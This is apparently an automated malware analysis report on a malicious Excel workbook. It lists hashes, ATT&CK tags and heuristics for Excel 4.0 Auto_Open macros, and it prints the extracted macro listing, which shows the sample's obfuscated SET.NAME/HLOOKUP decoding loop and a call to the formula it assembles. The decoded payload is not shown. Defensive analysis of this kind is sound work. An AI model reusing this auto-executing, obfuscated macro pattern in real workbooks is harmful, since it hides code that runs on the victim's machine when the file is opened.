Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b904be4cc0e8cff…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:43 Authoring application: Microsoft Excel First seen: 2021-09-16
MD5: 8257b3861aa2159f9ea34cc03368892a SHA-1: 900df7d5054ffa2849db35bedcbc0d716c06cdb5 SHA-256: 3b904be4cc0e8cff559c2895974da1280b2667e69c53a2786935ddab52d94c30
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The macro sheet contains a reference to 'Auto_Open', suggesting it's designed to run automatically. This points to an attack pattern focused on client execution via macro exploitation.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6602 bytes
SHA-256: b4c4be2406fc0f2d72db90615feeff3e2d7b09f52aa975268890880438d869e8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oeBT
' 0018     24 LABEL : Cell Value, String Constant - aJQdNWpqy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D175 
' 0018     25 LABEL : Cell Value, String Constant - cDMTVETwmY len=0 
' 0018     26 LABEL : Cell Value, String Constant - dXPCYVACjwB len=0 
' 0018     26 LABEL : Cell Value, String Constant - FOYGAEsyaGa len=0 
' 0018     20 LABEL : Cell Value, String Constant - Fprbr len=0 
' 0018     20 LABEL : Cell Value, String Constant - hGgge len=0 
' 0018     22 LABEL : Cell Value, String Constant - LLjzfvA len=0 
' 0018     22 LABEL : Cell Value, String Constant - LRVfpJn len=0 
' 0018     24 LABEL : Cell Value, String Constant - MXtCdvtQj len=0 
' 0018     26 LABEL : Cell Value, String Constant - NJRCEABjdkS len=0 
' 0018     25 LABEL : Cell Value, String Constant - NqkewQgyte len=0 
' 0018     25 LABEL : Cell Value, String Constant - ODqWrTguub len=0 
' 0018     27 LABEL : Cell Value, String Constant - pCnPENebKedk len=0 
' 0018     27 LABEL : Cell Value, String Constant - RNZUuAfaqCgR len=0 
' 0018     23 LABEL : Cell Value, String Constant - rXpyIWVR len=0 
' 0018     26 LABEL : Cell Value, String Constant - SHuscaUNqyR len=0 
' 0018     23 LABEL : Cell Value, String Constant - TazfTLhR len=0 
' 0018     26 LABEL : Cell Value, String Constant - tLdviCOTJdo len=0 
' 0018     20 LABEL : Cell Value, String Constant - TLwqs len=0 
' 0018     20 LABEL : Cell Value, String Constant - zsenr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oeBT,T57,"",-607.00000000000000000000
'  oeBT,T58,"",-98.00000000000000000000
'  oeBT,T59,"",-15.00000000000000000000
'  oeBT,T60,"",679.00000000000000000000
'  oeBT,T61,"",179.00000000000000000000
'  oeBT,T62,"",957.00000000000000000000
'  oeBT,D84,"SET.NAME("zsenr",0+VALUE("0"))",""
'  oeBT,D89,"SET.NAME("rXpyIWVR",zsenr)",""
'  oeBT,D93,"SET.NAME("FOYGAEsyaGa",zsenr)",""
'  oeBT,D97,"SET.NAME("pCnPENebKedk",COUNTA(RNZUuAfaqCgR))",""
'  oeBT,D101,"SET.NAME("NJRCEABjdkS",COUNTA(SHuscaUNqyR))",""
'  oeBT,D106,[],""
'  oeBT,D109,"SET.NAME("TazfTLhR","")",""
'  oeBT,D113,"rXpyIWVR",""
'  oeBT,D116,"SET.NAME("aJQdNWpqy",HLOOKUP("*",RNZUuAfaqCgR,rXpyIWVR,FALSE))",""
'  oeBT,D120,"tLdviCOTJdo",""
'  oeBT,D125,"SET.NAME("hGgge",zsenr)",""
'  oeBT,D127,[],""
'  oeBT,D130,"hGgge",""
'  oeBT,D132,"ODqWrTguub",""
'  oeBT,D134,"NqkewQgyte",""
'  oeBT,D137,"LLjzfvA",""
'  oeBT,D142,"SET.NAME("LRVfpJn",VALUE(HLOOKUP("*",SHuscaUNqyR,LLjzfvA,FALSE)))",""
'  oeBT,D144,"TLwqs",""
'  oeBT,D148,"TazfTLhR",""
'  oeBT,D151,"FOYGAEsyaGa",""
'  oeBT,D156,NEXT(),""
'  oeBT,D158,"cDMTVETwmY",""
'  oeBT,D161,[],""
'  oeBT,D164,"Fprbr",""
'  oeBT,D167,NEXT(),""
'  oeBT,D170,RETURN(),""
'  oeBT,D197,"SET.NAME("MXtCdvtQj",D84)",""
'  oeBT,D202,"RNZUuAfaqCgR",""
'  oeBT,D204,"SET.NAME("SHuscaUNqyR",R79C13)",""
'  oeBT,D206,"SET.NAME("Fprbr",215)",""
'  oeBT,D209,"SET.NAME("dXPCYVACjwB",4)",""
'  oeBT,D214,MXtCdvtQj(),""
'  oeBT,D215,HALT(),""

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